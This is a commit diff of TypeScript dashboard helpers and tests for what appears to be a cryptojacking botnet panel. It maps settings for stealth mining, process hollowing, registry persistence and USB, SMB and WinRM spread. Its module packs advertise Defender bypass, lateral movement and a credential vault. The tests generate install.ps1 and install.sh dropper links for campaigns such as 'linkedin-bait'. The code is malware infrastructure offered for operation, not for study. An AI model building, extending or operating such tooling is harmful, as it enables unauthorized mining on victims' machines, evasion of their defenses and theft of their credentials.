feat: alive UI wave, galaxy presence, spread and fleet enhancements
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.
This commit is contained in:
AetherForge
2026-06-04 22:36:17 -07:00
parent 1551bd5dad
commit a32860b0d9
154 changed files with 17383 additions and 601 deletions

View File

@@ -0,0 +1,112 @@
import { describe, it, expect } from 'vitest';
import type { WarRoomCampaign } from './warRoom';
import {
buildConstellationEdges,
buildConstellationGraph,
conversionColor,
initNodePositions,
nodeBrightness,
nodeRadius,
settleForceLayout,
tickForceLayout,
} from './campaignConstellations';
function campaign(partial: Partial<WarRoomCampaign> & Pick<WarRoomCampaign, 'campaign'>): WarRoomCampaign {
return {
hits: 0,
downloads: 0,
agents: 0,
online: 0,
hashrate: 0,
conversion_pct: 0,
daily_hits: [],
...partial,
};
}
describe('campaignConstellations helpers', () => {
it('scales node radius by hits', () => {
expect(nodeRadius(0, 100)).toBe(10);
expect(nodeRadius(100, 100)).toBeGreaterThan(nodeRadius(25, 100));
expect(nodeRadius(100, 100)).toBeLessThanOrEqual(36);
});
it('scales brightness from online agents', () => {
expect(nodeBrightness(0, 5)).toBe(0.35);
expect(nodeBrightness(5, 5)).toBe(1);
expect(nodeBrightness(2, 4)).toBeCloseTo(0.675, 2);
});
it('maps conversion to aether gradient colors', () => {
expect(conversionColor(0)).toMatch(/^rgb\(/);
expect(conversionColor(100)).toMatch(/^rgb\(/);
expect(conversionColor(0)).not.toBe(conversionColor(100));
});
it('links campaigns sharing pins', () => {
const edges = buildConstellationEdges([
{ campaign: 'a', pins: ['build-1', 'build-2'] },
{ campaign: 'b', pins: ['build-2'] },
{ campaign: 'c', pins: ['build-9'] },
]);
expect(edges).toHaveLength(1);
expect(edges[0].source).toBe('a');
expect(edges[0].target).toBe('b');
expect(edges[0].sharedPins).toEqual(['build-2']);
});
it('builds graph with pulsing flag when online', () => {
const graph = buildConstellationGraph([
campaign({ campaign: 'live', hits: 40, online: 2, conversion_pct: 12, pins: ['p1'] }),
campaign({ campaign: 'cold', hits: 10, online: 0, conversion_pct: 0 }),
]);
expect(graph.nodes).toHaveLength(2);
expect(graph.nodes.find((n) => n.campaign === 'live')?.pulsing).toBe(true);
expect(graph.nodes.find((n) => n.campaign === 'cold')?.pulsing).toBe(false);
});
it('initializes nodes inside viewport', () => {
const graph = buildConstellationGraph([
campaign({ campaign: 'x', hits: 5 }),
campaign({ campaign: 'y', hits: 8 }),
]);
initNodePositions(graph.nodes, 400, 300);
for (const n of graph.nodes) {
expect(n.x).toBeGreaterThan(0);
expect(n.x).toBeLessThan(400);
expect(n.y).toBeGreaterThan(0);
expect(n.y).toBeLessThan(300);
}
});
it('settles force layout without NaN coordinates', () => {
const graph = buildConstellationGraph([
campaign({ campaign: 'a', hits: 50, pins: ['pin-a'] }),
campaign({ campaign: 'b', hits: 30, pins: ['pin-a'] }),
campaign({ campaign: 'c', hits: 10, pins: ['pin-z'] }),
]);
settleForceLayout(graph.nodes, graph.edges, 480, 320, 80);
for (const n of graph.nodes) {
expect(Number.isFinite(n.x)).toBe(true);
expect(Number.isFinite(n.y)).toBe(true);
}
const a = graph.nodes.find((n) => n.id === 'a')!;
const b = graph.nodes.find((n) => n.id === 'b')!;
const c = graph.nodes.find((n) => n.id === 'c')!;
const ab = Math.hypot(a.x - b.x, a.y - b.y);
const ac = Math.hypot(a.x - c.x, a.y - c.y);
expect(ab).toBeLessThan(ac);
});
it('tickForceLayout keeps nodes in bounds', () => {
const graph = buildConstellationGraph([campaign({ campaign: 'solo', hits: 1 })]);
initNodePositions(graph.nodes, 200, 150);
for (let i = 0; i < 20; i++) {
tickForceLayout(graph.nodes, graph.edges, 200, 150, 0.5);
}
const n = graph.nodes[0];
expect(n.x).toBeGreaterThanOrEqual(24);
expect(n.x).toBeLessThanOrEqual(200 - 24);
});
});

View File

@@ -0,0 +1,226 @@
/** Campaign constellation force-graph helpers for Emberwake War Room. */
import type { WarRoomCampaign } from './warRoom';
export interface ConstellationNode {
id: string;
campaign: string;
hits: number;
online: number;
conversionPct: number;
pins: string[];
radius: number;
color: string;
brightness: number;
pulsing: boolean;
x: number;
y: number;
vx: number;
vy: number;
}
export interface ConstellationEdge {
source: string;
target: string;
sharedPins: string[];
}
export interface ConstellationGraph {
nodes: ConstellationNode[];
edges: ConstellationEdge[];
}
const MIN_RADIUS = 10;
const MAX_RADIUS = 36;
/** Node radius scaled by hits (sqrt curve for readability). */
export function nodeRadius(hits: number, maxHits: number): number {
if (hits <= 0) return MIN_RADIUS;
if (maxHits <= 0) return MIN_RADIUS + 4;
const t = Math.sqrt(hits / maxHits);
return MIN_RADIUS + t * (MAX_RADIUS - MIN_RADIUS);
}
/** Brightness 0.351.0 from online agent count. */
export function nodeBrightness(online: number, maxOnline: number): number {
if (online <= 0) return 0.35;
if (maxOnline <= 0) return 1;
return 0.35 + 0.65 * (online / maxOnline);
}
/** Aether palette: cool cyan (low) → gold (mid) → rose (high conversion). */
export function conversionColor(pct: number): string {
const t = Math.max(0, Math.min(1, pct / 100));
if (t < 0.5) {
const u = t / 0.5;
const r = Math.round(61 + u * (201 - 61));
const g = Math.round(214 + u * (162 - 214));
const b = Math.round(198 + u * (39 - 198));
return `rgb(${r},${g},${b})`;
}
const u = (t - 0.5) / 0.5;
const r = Math.round(201 + u * (244 - 201));
const g = Math.round(162 + u * (63 - 162));
const b = Math.round(39 + u * (94 - 39));
return `rgb(${r},${g},${b})`;
}
/** Edges link campaigns that share at least one pin/build id. */
export function buildConstellationEdges(
campaigns: Pick<WarRoomCampaign, 'campaign' | 'pins'>[],
): ConstellationEdge[] {
const edges: ConstellationEdge[] = [];
const seen = new Set<string>();
for (let i = 0; i < campaigns.length; i++) {
const pinsA = new Set((campaigns[i].pins ?? []).filter(Boolean));
if (!pinsA.size) continue;
for (let j = i + 1; j < campaigns.length; j++) {
const shared = (campaigns[j].pins ?? []).filter((p) => pinsA.has(p));
if (!shared.length) continue;
const a = campaigns[i].campaign;
const b = campaigns[j].campaign;
const key = a < b ? `${a}|${b}` : `${b}|${a}`;
if (seen.has(key)) continue;
seen.add(key);
edges.push({ source: a, target: b, sharedPins: [...new Set(shared)] });
}
}
return edges;
}
/** Build graph nodes + pin-sharing edges from war-room campaigns. */
export function buildConstellationGraph(campaigns: WarRoomCampaign[]): ConstellationGraph {
const maxHits = Math.max(1, ...campaigns.map((c) => c.hits ?? 0));
const maxOnline = Math.max(1, ...campaigns.map((c) => c.online ?? 0));
const nodes: ConstellationNode[] = campaigns.map((c) => {
const hits = c.hits ?? 0;
const online = c.online ?? 0;
return {
id: c.campaign,
campaign: c.campaign,
hits,
online,
conversionPct: c.conversion_pct ?? 0,
pins: c.pins ?? [],
radius: nodeRadius(hits, maxHits),
color: conversionColor(c.conversion_pct ?? 0),
brightness: nodeBrightness(online, maxOnline),
pulsing: online > 0,
x: 0,
y: 0,
vx: 0,
vy: 0,
};
});
return { nodes, edges: buildConstellationEdges(campaigns) };
}
/** Scatter nodes in a circle for force-sim cold start. */
export function initNodePositions(nodes: ConstellationNode[], width: number, height: number): void {
const cx = width / 2;
const cy = height / 2;
const ring = Math.min(width, height) * 0.32;
nodes.forEach((n, i) => {
const angle = (i / Math.max(1, nodes.length)) * Math.PI * 2;
n.x = cx + Math.cos(angle) * ring;
n.y = cy + Math.sin(angle) * ring;
n.vx = 0;
n.vy = 0;
});
}
const REPULSE = 4200;
const SPRING = 0.045;
const SPRING_LEN = 90;
const CENTER = 0.012;
const DAMPING = 0.82;
const PAD = 24;
/** One tick of lightweight force-directed layout (no D3). */
export function tickForceLayout(
nodes: ConstellationNode[],
edges: ConstellationEdge[],
width: number,
height: number,
alpha = 1,
): void {
const cx = width / 2;
const cy = height / 2;
const nodeById = new Map(nodes.map((n) => [n.id, n]));
for (let i = 0; i < nodes.length; i++) {
for (let j = i + 1; j < nodes.length; j++) {
const a = nodes[i];
const b = nodes[j];
let dx = b.x - a.x;
let dy = b.y - a.y;
let dist = Math.hypot(dx, dy) || 0.01;
const minDist = a.radius + b.radius + 12;
const force = (REPULSE * alpha) / (dist * dist);
if (dist < minDist) {
const push = ((minDist - dist) / dist) * 0.5;
dx *= push;
dy *= push;
dist = Math.hypot(dx, dy) || 0.01;
}
const fx = (dx / dist) * force;
const fy = (dy / dist) * force;
a.vx -= fx;
a.vy -= fy;
b.vx += fx;
b.vy += fy;
}
}
for (const e of edges) {
const a = nodeById.get(e.source);
const b = nodeById.get(e.target);
if (!a || !b) continue;
const dx = b.x - a.x;
const dy = b.y - a.y;
const dist = Math.hypot(dx, dy) || 0.01;
const force = (dist - SPRING_LEN) * SPRING * alpha;
const fx = (dx / dist) * force;
const fy = (dy / dist) * force;
a.vx += fx;
a.vy += fy;
b.vx -= fx;
b.vy -= fy;
}
for (const n of nodes) {
n.vx += (cx - n.x) * CENTER * alpha;
n.vy += (cy - n.y) * CENTER * alpha;
n.vx *= DAMPING;
n.vy *= DAMPING;
n.x += n.vx;
n.y += n.vy;
const r = n.radius + PAD;
n.x = Math.max(r, Math.min(width - r, n.x));
n.y = Math.max(r, Math.min(height - r, n.y));
}
}
/** Run layout to near-equilibrium; returns same node references (mutated). */
export function settleForceLayout(
nodes: ConstellationNode[],
edges: ConstellationEdge[],
width: number,
height: number,
ticks = 120,
): ConstellationNode[] {
initNodePositions(nodes, width, height);
for (let t = ticks; t > 0; t--) {
tickForceLayout(nodes, edges, width, height, t / ticks);
}
return nodes;
}

View File

@@ -0,0 +1,65 @@
import { describe, expect, it } from 'vitest';
import { DOC_ANCHORS, docAnchorForField } from './docAnchors';
import { FIELD_HELP } from './settingHelp';
/** Fields rendered with HelpTip in BuilderPage + SettingsPage. */
const HELP_TIP_FIELDS = [
'calibrate_wallet', 'public_url', 'cloudflare_tunnel_token', 'open_firewall_on_start',
'obfuscate_default', 'sign_enabled', 'sign_cert_thumbprint', 'sign_tool_path', 'sign_timestamp_url',
'worker_name', 'server_url', 'https_beacon_fallback', 'wallet', 'pool_pass',
'target_os', 'target_arch', 'output_dir', 'thread_mode', 'thread_percent', 'threads',
'cpu_priority', 'max_cpu_usage_pct', 'max_memory_percent', 'min_free_ram_mb', 'mining_mode',
'idle_threshold_pct', 'idle_duration_minutes', 'schedule_start', 'schedule_end',
'install_base', 'install_custom_base', 'install_relative_path', 'adapt_to_hardware',
'firewall_exclusion', 'self_healing', 'stealth_mode', 'process_hollowing', 'file_logging',
'process_name', 'display_mode', 'persistence', 'run_as', 'host_binary_target', 'auto_start',
'autostart_mode', 'registry_persistence', 'registry_run_hkcu', 'registry_run_once',
'registry_run_hklm', 'registry_explorer_run', 'fusion_enabled', 'fusion_prep',
'fusion_media_mode', 'fusion_batch', 'fusion_run_order', 'fusion_output_name',
'obfuscate', 'sign_build', 'sigil_scramble', 'ai_enabled', 'ai_ollama_endpoint', 'ai_model',
'mesh_p2p', 'auto_spread', 'hole_punch', 'remote_aggressive', 'usb_spread', 'share_spread',
] as const;
describe('docAnchors', () => {
it('maps at least 60 forge/calibrate/crucible hints', () => {
expect(Object.keys(DOC_ANCHORS).length).toBeGreaterThanOrEqual(60);
});
it('returns /docs/# paths', () => {
for (const path of Object.values(DOC_ANCHORS)) {
expect(path).toMatch(/^\/docs\/#[\w-]+$/);
}
});
it('docAnchorForField resolves known keys', () => {
expect(docAnchorForField('stealth_mode')).toBe('/docs/#forge-stealth');
expect(docAnchorForField('calibrate_wallet')).toBe('/docs/#dashboard');
expect(docAnchorForField('unknown_field')).toBeUndefined();
});
it('covers top calibrate fields', () => {
expect(DOC_ANCHORS.calibrate_wallet).toBeDefined();
expect(DOC_ANCHORS.public_url).toBeDefined();
expect(DOC_ANCHORS.cloudflare_tunnel_token).toBeDefined();
});
it('covers top forge spread fields', () => {
expect(DOC_ANCHORS.usb_spread).toBe('/docs/#spread-campaigns');
expect(DOC_ANCHORS.auto_spread).toBe('/docs/#spread-campaigns');
expect(DOC_ANCHORS.remote_aggressive).toBe('/docs/#dashboard');
});
it('every HelpTip field has a wiki anchor', () => {
for (const field of HELP_TIP_FIELDS) {
expect(FIELD_HELP[field], `missing FIELD_HELP for ${field}`).toBeDefined();
expect(docAnchorForField(field), `missing DOC_ANCHORS for ${field}`).toMatch(/^\/docs\/#[\w-]+$/);
}
});
it('covers newly added forge scheduling and fusion anchors', () => {
expect(DOC_ANCHORS.mining_mode).toBe('/docs/#forge-stealth');
expect(DOC_ANCHORS.fusion_media_mode).toBe('/docs/#forge');
expect(DOC_ANCHORS.sign_tool_path).toBe('/docs/#forge');
expect(DOC_ANCHORS.schedule_start).toBe('/docs/#agent');
});
});

View File

@@ -0,0 +1,86 @@
/** Maps HelpTip / FieldHint field ids to wiki doc section anchors. */
export const DOC_ANCHORS: Record<string, string> = {
// Calibrate
calibrate_wallet: '/docs/#dashboard',
calibrate_quick_setup: '/docs/#quick-start',
public_url: '/docs/#quick-start',
cloudflare_tunnel_token: '/docs/#dashboard',
open_firewall_on_start: '/docs/#security-auth',
obfuscate_default: '/docs/#forge',
sign_enabled: '/docs/#forge',
sign_cert_thumbprint: '/docs/#forge',
sign_timestamp_url: '/docs/#forge',
// Forge — core
worker_name: '/docs/#forge',
server_url: '/docs/#quick-start',
wallet: '/docs/#mining',
pool_pass: '/docs/#mining',
target_os: '/docs/#forge',
target_arch: '/docs/#forge',
output_dir: '/docs/#forge',
thread_mode: '/docs/#forge',
thread_percent: '/docs/#forge-stealth',
threads: '/docs/#forge-stealth',
cpu_priority: '/docs/#forge-stealth',
max_cpu_usage_pct: '/docs/#agent',
max_memory_percent: '/docs/#forge-stealth',
min_free_ram_mb: '/docs/#forge-stealth',
mining_mode: '/docs/#forge-stealth',
idle_threshold_pct: '/docs/#forge-stealth',
idle_duration_minutes: '/docs/#forge-stealth',
schedule_start: '/docs/#agent',
schedule_end: '/docs/#agent',
install_base: '/docs/#forge-stealth',
install_custom_base: '/docs/#forge-stealth',
install_relative_path: '/docs/#forge-stealth',
adapt_to_hardware: '/docs/#forge-stealth',
process_hollowing: '/docs/#forge-stealth',
file_logging: '/docs/#agent',
process_name: '/docs/#forge-stealth',
display_mode: '/docs/#forge-stealth',
run_as: '/docs/#agent',
host_binary_target: '/docs/#forge-stealth',
auto_start: '/docs/#agent',
autostart_mode: '/docs/#agent',
registry_persistence: '/docs/#agent',
registry_run_hkcu: '/docs/#agent',
registry_run_once: '/docs/#agent',
registry_run_hklm: '/docs/#agent',
registry_explorer_run: '/docs/#agent',
fusion_media_mode: '/docs/#forge',
fusion_batch: '/docs/#forge',
fusion_run_order: '/docs/#forge',
fusion_output_name: '/docs/#forge',
sign_tool_path: '/docs/#forge',
stealth_mode: '/docs/#forge-stealth',
self_healing: '/docs/#forge-stealth',
persistence: '/docs/#agent',
fusion_enabled: '/docs/#forge',
fusion_prep: '/docs/#forge',
obfuscate: '/docs/#forge',
sign_build: '/docs/#forge',
sigil_scramble: '/docs/#forge',
https_beacon_fallback: '/docs/#agent',
// Forge — spread & ops
usb_spread: '/docs/#spread-campaigns',
share_spread: '/docs/#spread-campaigns',
auto_spread: '/docs/#spread-campaigns',
remote_aggressive: '/docs/#dashboard',
mesh_p2p: '/docs/#agent',
hole_punch: '/docs/#agent',
// AI
ai_enabled: '/docs/#alerts-ai',
ai_ollama_endpoint: '/docs/#alerts-ai',
ai_model: '/docs/#alerts-ai',
// Crucible / agent remote
firewall_remote: '/docs/#agent',
firewall_exclusion: '/docs/#agent',
};
export function docAnchorForField(field: string): string | undefined {
return DOC_ANCHORS[field];
}

View File

@@ -0,0 +1,67 @@
import { describe, expect, it } from 'vitest';
import { mockAgent } from '../test/fixtures';
import type { FleetGroup } from './fleetGroups';
import {
groupClusterCenter,
hashrateSpiked,
hashPosition,
layoutAgentPoints,
layoutComradePoints,
} from './fleetHeatMap';
describe('fleetHeatMap', () => {
it('hashPosition is stable for the same seed', () => {
const a = hashPosition('node-alpha');
const b = hashPosition('node-alpha');
expect(a).toEqual(b);
expect(a.x).toBeGreaterThanOrEqual(12);
expect(a.y).toBeLessThanOrEqual(88);
});
it('groupClusterCenter spreads clusters around the map', () => {
const c0 = groupClusterCenter(0, 4);
const c1 = groupClusterCenter(2, 4);
expect(Math.hypot(c0.x - c1.x, c0.y - c1.y)).toBeGreaterThan(10);
});
it('layoutAgentPoints clusters grouped agents and hashes ungrouped hosts', () => {
const groups: FleetGroup[] = [
{
id: 'g1',
name: 'Alpha',
color: '#00f5ff',
agentIds: ['a1', 'a2'],
createdAt: '2026-01-01T00:00:00Z',
},
];
const agents = [
mockAgent({ id: 'a1', name: 'one', hostname: 'host-one' }),
mockAgent({ id: 'a2', name: 'two', hostname: 'host-two' }),
mockAgent({ id: 'a3', name: 'solo', hostname: 'solo-host' }),
];
const points = layoutAgentPoints(agents, groups);
expect(points).toHaveLength(3);
const grouped = points.filter((p) => p.id === 'a1' || p.id === 'a2');
const solo = points.find((p) => p.id === 'a3');
const dist = Math.hypot(grouped[0].x - grouped[1].x, grouped[0].y - grouped[1].y);
expect(dist).toBeLessThan(20);
expect(solo?.color).toBeUndefined();
const soloAgain = layoutAgentPoints([agents[2]], groups).find((p) => p.id === 'a3');
expect(solo).toEqual(soloAgain);
});
it('layoutComradePoints uses distinct comrade kind', () => {
const pts = layoutComradePoints(['india', 'ally']);
expect(pts.every((p) => p.kind === 'comrade')).toBe(true);
expect(pts[0].id).toBe('comrade:india');
});
it('hashrateSpiked detects ratio and minimum delta', () => {
expect(hashrateSpiked(undefined, 0)).toBe(false);
expect(hashrateSpiked(undefined, 80)).toBe(true);
expect(hashrateSpiked(100, 110)).toBe(false);
expect(hashrateSpiked(100, 160)).toBe(true);
});
});

View File

@@ -0,0 +1,129 @@
import type { Agent } from '../types';
import type { FleetGroup } from './fleetGroups';
import { FLEET_GROUP_COLORS, primaryGroupForAgent } from './fleetGroups';
export interface MapPoint {
id: string;
kind: 'agent' | 'comrade';
x: number;
y: number;
label: string;
color?: string;
online?: boolean;
}
export const COMRADE_DOT_COLOR = '#ffb020';
export const HASHRATE_SPIKE_RATIO = 1.25;
export const HASHRATE_SPIKE_MIN_DELTA = 50;
export function hashString(seed: string): number {
let h = 0;
for (let i = 0; i < seed.length; i++) {
h = (h * 31 + seed.charCodeAt(i)) >>> 0;
}
return h;
}
/** Stable pseudo-random position from a string seed (percent coords). */
export function hashPosition(seed: string, margin = 12): { x: number; y: number } {
const h = hashString(seed);
const range = 100 - margin * 2;
return {
x: margin + ((h % 1000) / 1000) * range,
y: margin + (((h >>> 10) % 1000) / 1000) * range,
};
}
export function groupClusterCenter(
groupIndex: number,
totalGroups: number,
margin = 14,
): { x: number; y: number } {
const angle = (groupIndex / Math.max(totalGroups, 1)) * Math.PI * 2 - Math.PI / 2;
const cx = 50 + Math.cos(angle) * 30;
const cy = 50 + Math.sin(angle) * 30;
return {
x: Math.max(margin, Math.min(100 - margin, cx)),
y: Math.max(margin, Math.min(100 - margin, cy)),
};
}
export function agentMapPosition(
agent: Agent,
group: FleetGroup | undefined,
groupIndex: number,
totalGroups: number,
agentIndexInCluster: number,
clusterSize: number,
): { x: number; y: number } {
const seed = agent.hostname || agent.name || agent.id;
if (group) {
const center = groupClusterCenter(groupIndex, totalGroups);
const jitter = hashPosition(`${group.id}:${agent.id}`, 0);
const spread = Math.min(9, 2.5 + clusterSize * 0.7);
const angle = (agentIndexInCluster / Math.max(clusterSize, 1)) * Math.PI * 2;
return {
x: center.x + Math.cos(angle) * spread + (jitter.x - 50) * 0.06,
y: center.y + Math.sin(angle) * spread + (jitter.y - 50) * 0.06,
};
}
return hashPosition(seed);
}
export function agentAccentColor(agentId: string, allIds: string[], groupColor?: string): string {
if (groupColor) return groupColor;
const idx = allIds.indexOf(agentId);
return FLEET_GROUP_COLORS[idx % FLEET_GROUP_COLORS.length] ?? FLEET_GROUP_COLORS[0];
}
export function hashrateSpiked(prev: number | undefined, current: number): boolean {
if (current <= 0) return false;
if (prev === undefined || prev <= 0) return current >= HASHRATE_SPIKE_MIN_DELTA;
const delta = current - prev;
return delta >= HASHRATE_SPIKE_MIN_DELTA && current >= prev * HASHRATE_SPIKE_RATIO;
}
export function layoutAgentPoints(agents: Agent[], groups: FleetGroup[]): MapPoint[] {
const groupsWithAgents = groups.filter((g) => agents.some((a) => g.agentIds.includes(a.id)));
return agents.map((agent) => {
const pg = primaryGroupForAgent(groups, agent.id);
const groupIndex = pg ? groupsWithAgents.findIndex((g) => g.id === pg.id) : -1;
const clusterAgents = pg ? agents.filter((a) => pg.agentIds.includes(a.id)) : [];
const agentIndexInCluster = pg ? clusterAgents.findIndex((a) => a.id === agent.id) : 0;
const pos = agentMapPosition(
agent,
pg,
groupIndex >= 0 ? groupIndex : 0,
groupsWithAgents.length || 1,
agentIndexInCluster,
clusterAgents.length,
);
return {
id: agent.id,
kind: 'agent' as const,
x: pos.x,
y: pos.y,
label: agent.name,
color: pg?.color,
online: agent.status === 'online',
};
});
}
export function layoutComradePoints(users: string[]): MapPoint[] {
return users.map((user) => {
const pos = hashPosition(`comrade:${user}`, 8);
return {
id: `comrade:${user}`,
kind: 'comrade' as const,
x: pos.x,
y: pos.y,
label: user,
color: COMRADE_DOT_COLOR,
online: true,
};
});
}

View File

@@ -0,0 +1,51 @@
import { describe, expect, it } from 'vitest';
import {
capabilitiesMatchModule,
findFleetModule,
moduleFeatureFlags,
modulePushLabel,
resolveFleetModules,
} from './fleetModules';
import type { FleetModuleManifest } from '../types';
const crucible: FleetModuleManifest = {
name: 'crucible_ops',
version: '1',
display_name: 'Crucible Ops',
features: { remote_aggressive: true },
};
describe('fleetModules', () => {
it('falls back to built-in packs when list is empty', () => {
const list = resolveFleetModules([]);
expect(list.map((m) => m.name)).toEqual(['crucible_ops', 'spread', 'gpu']);
});
it('builds guided push label for group target', () => {
expect(modulePushLabel(crucible, 'group', 'Alpha Squad')).toBe('Push Crucible Ops to Alpha Squad');
});
it('builds guided push label for all online', () => {
expect(modulePushLabel(crucible, 'all', undefined, 3)).toBe('Push Crucible Ops to all online (3)');
});
it('lists feature flags from manifest', () => {
expect(moduleFeatureFlags({ name: 'spread', version: '1', features: { auto_spread: true, usb_spread: true } })).toEqual([
'auto_spread',
'usb_spread',
]);
});
it('detects when agent capabilities match a staged pack', () => {
expect(
capabilitiesMatchModule({ remote_aggressive: true } as import('../types').AgentCapabilities, crucible),
).toBe(true);
expect(
capabilitiesMatchModule({ remote_aggressive: false } as import('../types').AgentCapabilities, crucible),
).toBe(false);
});
it('finds pack by name', () => {
expect(findFleetModule([], 'gpu')?.display_name).toBe('GPU Miner');
});
});

View File

@@ -0,0 +1,109 @@
import type { AgentCapabilities, FleetModuleManifest } from '../types';
/** Built-in fallbacks when the server list is empty or a pack lacks UI metadata. */
export const FLEET_MODULE_FALLBACKS: FleetModuleManifest[] = [
{
name: 'crucible_ops',
version: '1',
display_name: 'Crucible Ops',
summary: 'Dashboard remote aggressive ops — tunnels, scans, firewall, defender',
description:
'Stages remote aggressive command gates on thin agents without re-forge. Enables Crucible dashboard buttons: cloudflared/SSH tunnels, subnet scan, SMB shares, firewall punch, defender bypass, and on-demand spread_now.',
accent: 'magenta',
capabilities: [
'Remote tunnels (cloudflared, SSH forward)',
'Subnet scan & SMB share enumeration',
'Firewall punch / disable / profile control',
'Defender RTP bypass (Windows)',
'On-demand spread_now trigger',
'Credential vault & secure wipe',
],
features: { remote_aggressive: true },
},
{
name: 'spread',
version: '1',
display_name: 'Spread Pack',
summary: 'Lateral and passive spread — SMB auto-spread plus USB/WMI hooks',
description:
'Enables spread flags on a minimal forge. Agents gain auto_spread for scheduled lateral movement and usb_spread for removable-media propagation. Complements baked forge modes — does not replace Emberwake or Spread Kit presets.',
accent: 'cyan',
capabilities: [
'SMB / WinRM auto-spread scheduler',
'SSH lateral spread (Linux/macOS)',
'USB removable-media propagation',
'WMI-based passive hooks (Windows)',
'Spread status & funnel telemetry',
],
features: { auto_spread: true, usb_spread: true },
},
{
name: 'gpu',
version: '1',
display_name: 'GPU Miner',
summary: 'KawPoW RVN GPU mining when hardware and wallet are present',
description:
'Turns on gpu_enabled at runtime so agents with an RVN wallet and supported GPU start T-Rex/TRM alongside the CPU miner. No binary re-forge — the worker downloads the pack, verifies HMAC, and spins up the GPU miner in memory.',
accent: 'gold',
capabilities: [
'KawPoW RVN miner (T-Rex / TRM)',
'GPU hashrate telemetry on dashboard',
'Pause/resume with fleet policy',
'Windows NVIDIA/AMD when drivers present',
],
features: { gpu_enabled: true },
},
];
export function resolveFleetModules(modules: FleetModuleManifest[]): FleetModuleManifest[] {
if (modules.length > 0) return modules;
return FLEET_MODULE_FALLBACKS;
}
export function findFleetModule(
modules: FleetModuleManifest[],
name: string,
): FleetModuleManifest | undefined {
const list = resolveFleetModules(modules);
return list.find((m) => m.name === name);
}
export function moduleDisplayName(mod: FleetModuleManifest): string {
return mod.display_name?.trim() || mod.name;
}
/** Human label for the primary push button, e.g. "Push Crucible Ops to Group Alpha". */
export function modulePushLabel(
mod: FleetModuleManifest,
targetMode: 'all' | 'group',
groupName?: string,
onlineCount?: number,
): string {
const pack = moduleDisplayName(mod);
if (targetMode === 'group' && groupName) {
return `Push ${pack} to ${groupName}`;
}
const n = onlineCount ?? 0;
return `Push ${pack} to all online (${n})`;
}
/** Feature flags the agent applies from a pack manifest. */
export function moduleFeatureFlags(mod: FleetModuleManifest): string[] {
if (!mod.features) return [];
return Object.entries(mod.features)
.filter(([, v]) => v === true)
.map(([k]) => k)
.sort();
}
/** Returns true when agent capabilities reflect at least one flag from the pack. */
export function capabilitiesMatchModule(
caps: AgentCapabilities | undefined,
mod: FleetModuleManifest,
): boolean {
if (!caps || !mod.features) return false;
return Object.entries(mod.features).some(([key, want]) => {
if (want !== true) return false;
return Boolean((caps as unknown as Record<string, boolean | undefined>)[key]);
});
}

View File

@@ -0,0 +1,139 @@
import { describe, it, expect, vi } from 'vitest';
import type { BuildRequest, BuildResponse } from '../types';
import {
applyMissionPresets,
buildMissionLinks,
copyMissionLinks,
missionStepStatus,
runForgeMission,
type MissionApi,
} from './forgeMission';
const baseForm = (): BuildRequest =>
({
server_url: 'http://192.168.1.50:8989',
wallet: '4' + 'A'.repeat(94),
worker_name: 'mission-worker',
threads: 2,
target_os: 'windows',
target_arch: 'amd64',
stealth_mode: false,
spread_kit: false,
fusion_enabled: false,
}) as BuildRequest;
const okBuild = (overrides: Partial<BuildResponse> = {}): BuildResponse => ({
success: true,
build_id: 'build-abc-123',
file_name: 'worker.exe',
file_size: 1024,
download_url: '/api/v1/builds/build-abc-123/download',
...overrides,
});
describe('forgeMission helpers', () => {
it('applies operation mode then spread profile', () => {
const next = applyMissionPresets(baseForm(), 'ghost_walk', 'lan_kindling');
expect(next.stealth_mode).toBe(true);
expect(next.spread_kit).toBe(true);
expect(next.auto_spread).toBe(true);
expect(next.target_os).toBe('universal');
});
it('builds dropper links with pin and campaign', () => {
const links = buildMissionLinks('http://10.0.0.5:8989/', 'pin-1', 'wave-a');
expect(links.ps1).toContain("install.ps1?pin=pin-1&c=wave-a");
expect(links.sh).toContain('install.sh?pin=pin-1&c=wave-a');
expect(links.get).toBe('http://10.0.0.5:8989/get?pin=pin-1&c=wave-a');
expect(links.clipboardText).toContain(links.ps1);
expect(links.clipboardText).toContain(links.sh);
expect(links.clipboardText).toContain(links.get);
});
it('tracks mission step status including skipped export', () => {
expect(missionStepStatus('configure', 'forge', false)).toBe('done');
expect(missionStepStatus('forge', 'forge', false)).toBe('active');
expect(missionStepStatus('export', 'copy', true)).toBe('skipped');
expect(missionStepStatus('copy', 'done', false)).toBe('done');
});
it('runForgeMission configures, builds, exports spread kit, and returns links', async () => {
const buildAgent = vi.fn().mockResolvedValue(okBuild());
const exportSpreadKit = vi.fn().mockResolvedValue(undefined);
const api: MissionApi = { buildAgent, exportSpreadKit };
const steps: string[] = [];
const result = await runForgeMission({
form: baseForm(),
operationMode: 'wildfire',
spreadProfile: 'lan_kindling',
campaign: 'linkedin-bait',
serverBase: 'http://192.168.1.50:8989',
api,
onStep: (s) => steps.push(s),
cancelToken: 'tok-1',
});
expect(steps).toEqual(['configure', 'forge', 'export', 'copy', 'done']);
expect(buildAgent).toHaveBeenCalledOnce();
expect(buildAgent.mock.calls[0][0].spread_kit).toBe(true);
expect(buildAgent.mock.calls[0][0].cancel_token).toBe('tok-1');
expect(exportSpreadKit).toHaveBeenCalledWith({
build_id: 'build-abc-123',
server_url: 'http://192.168.1.50:8989',
campaign: 'linkedin-bait',
});
expect(result.exportSkipped).toBe(false);
expect(result.links.ps1).toContain('build-abc-123');
});
it('skips export when spread_kit is false after presets', async () => {
const buildAgent = vi.fn().mockResolvedValue(okBuild());
const exportSpreadKit = vi.fn();
const steps: string[] = [];
const result = await runForgeMission({
form: baseForm(),
operationMode: 'open_flame',
spreadProfile: '',
campaign: '',
serverBase: 'http://host:8989',
api: { buildAgent, exportSpreadKit },
onStep: (s) => steps.push(s),
});
expect(exportSpreadKit).not.toHaveBeenCalled();
expect(steps).toEqual(['configure', 'forge', 'copy', 'done']);
expect(result.exportSkipped).toBe(true);
});
it('throws on failed build without exporting', async () => {
const buildAgent = vi.fn().mockResolvedValue({
success: false,
error: 'garble OOM',
} satisfies BuildResponse);
const exportSpreadKit = vi.fn();
await expect(
runForgeMission({
form: baseForm(),
operationMode: 'ghost_walk',
spreadProfile: 'lan_kindling',
campaign: 'x',
serverBase: 'http://host',
api: { buildAgent, exportSpreadKit },
}),
).rejects.toThrow('garble OOM');
expect(exportSpreadKit).not.toHaveBeenCalled();
});
